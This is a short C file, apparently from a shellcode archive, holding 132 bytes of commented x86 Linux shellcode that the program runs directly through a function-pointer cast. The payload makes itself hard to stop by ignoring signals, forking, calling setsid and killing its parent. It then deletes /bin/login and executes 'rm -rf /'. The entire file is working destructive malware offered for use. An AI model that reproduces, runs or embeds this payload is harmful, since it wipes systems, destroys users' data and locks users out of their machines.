/*
x86 linux rm -rf / which attempts to block the process from being stopped
132 bytes
written by onionring
*/

main()
{
 char shellcode[] =
"\x31\xC0"              // xor eax, eax
"\x89\xC3"              // mov ebx, eax
"\x89\xC1"              // mov ecx, eax
"\x41"                  // inc ecx
"\xB0\x30"              // mov al, 0x30 ; sys_signal
"\xCD\x80"              // int 0x80
"\x31\xC0"              // xor eax, eax
"\xFE\xC3"              // inc bl
"\x80\xFB\x1F"          // cmp bl, 0x1f
"\x72\xF3"              // jb 0xf3
"\x04\x40"              // add al, 0x40 ; sys_getppid
"\xCD\x80"              // int 0x80
"\x89\xC2"              // mov edx, eax
"\x31\xC0"              // xor eax, eax
"\xB0\x02"              // mov al, 0x2 ; sys_fork
"\xCD\x80"              // int 0x80
"\x39\xC0"              // cmp eax, eax
"\x74\x08"              // jnz 0x8
"\x31\xC0"              // xor eax, eax
"\x89\xC3"              // mov ebx, eax
"\xB0\x01"              // mov al, 0x1 ; sys_exit
"\xCD\x80"              // int 0x80
"\x31\xC0"              // xor eax, eax
"\xB0\x42"              // mov al, 0x42 ; sys_setsid
"\xCD\x80"              // int 0x80
"\x43"                  // inc ebx
"\x39\xDA"              // cmp edx, ebx
"\x74\x08"              // jz 0x8
"\x89\xD3"              // mov ebx, edx
"\x31\xC0"              // xor eax, eax
"\x04\x25"              // add al, 0x25 ; sys_kill
"\xCD\x80"              // int 0x80
"\x31\xC0"              // xor eax, eax
"\x50"                  // push eax
"\x68\x6F\x67\x69\x6E"  // push "ogin"
"\x68\x69\x6E\x2F\x6C"  // push "in/l"
"\x68\x2F\x2F\x2F\x62"  // push "///b"
"\x89\xE3"              // mov ebx, esp
"\x31\xC0"              // xor eax, eax
"\x04\x0A"              // add al, 0xa ; sys_unlink
"\xCD\x80"              // int 0x80
"\x31\xC0"              // xor eax, eax
"\x50"                  // push eax
"\x68\x2F\x2F\x2F\x2F"  // push "////"
"\x89\xE2"              // mov edx, esp
"\x50"                  // push eax
"\x68\x2D\x72\x66\x66"  // push "-rff"
"\x89\xE1"              // mov ecx, esp
"\x50"                  // push eax
"\x68\x6E\x2F\x72\x6D"  // push "n/rm"
"\x68\x2F\x2F\x62\x69"  // push "//bi"
"\x89\xE3"              // mov ebx, esp
"\x50"                  // push eax
"\x52"                  // push edx
"\x51"                  // push ecx
"\x53"                  // push ebx
"\x89\xE1"              // mov ecx, esp
"\x31\xD2"              // xor edx, edx
"\x04\x0B"              // add al, 0xb ; sys_execve
"\xCD\x80";             // int 0x80

 (*(void (*)()) shellcode)();
}